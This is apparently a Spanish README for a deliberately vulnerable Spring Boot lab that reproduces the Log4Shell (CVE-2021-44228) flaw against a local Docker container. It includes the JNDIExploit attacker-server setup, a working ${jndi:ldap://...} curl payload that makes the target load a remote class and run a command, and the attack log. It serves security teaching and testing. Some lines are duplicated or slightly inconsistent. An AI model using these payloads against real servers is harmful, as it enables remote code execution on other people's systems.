
Este repositorio contiene una aplicación web Spring Boot vulnerable a CVE-2021-44228, conocida como log4shell.
Este repositorio contiene una aplicación web Spring Boot vulnerable a CVE-2021-44228, conocida como log4shell.
Usa
log-4j-core:2.14.1 (a través de spring-boot-starter-log4j2) yopenjdk:8u181Ejecútalo:
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
O alternativamente, constrúyelo tú mismo:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
Usando los siguientes pasos puedes reproducir un exploit de log4shell. Si no estás familiarizado con cómo funciona el ataque internamente, consulta este artículo o las diapositivas en este repositorio.
Actualización (13 de diciembre): El repositorio JNDIExploit ha sido eliminado de GitHub (presumiblemente, no por GitHub). Por lo tanto, te recomiendo que uses la versión guardada de este repositorio.
Primero tenemos que configurar los servidores atacantes. Esto consiste en
Usamos JNDIExploit para levantar los servidores atacantes.
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888
Como carga útil queremos ejecutar touch /tmp/pwned (que corresponde al codificado en base64 dG91Y2ggL3RtcC9wd25lZAo=) en el servidor de la aplicación vulnerable.
Desencadena el exploit usando:
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
La salida de JNDIExploit muestra que los servidores atacantes respondieron con el exploit malicioso y ejecutaron la carga útil:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
Para confirmar que la ejecución del código fue exitosa, verificamos que el archivo /tmp/pwned.txt se haya creado en el contenedor que ejecuta la aplicación vulnerable:
$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/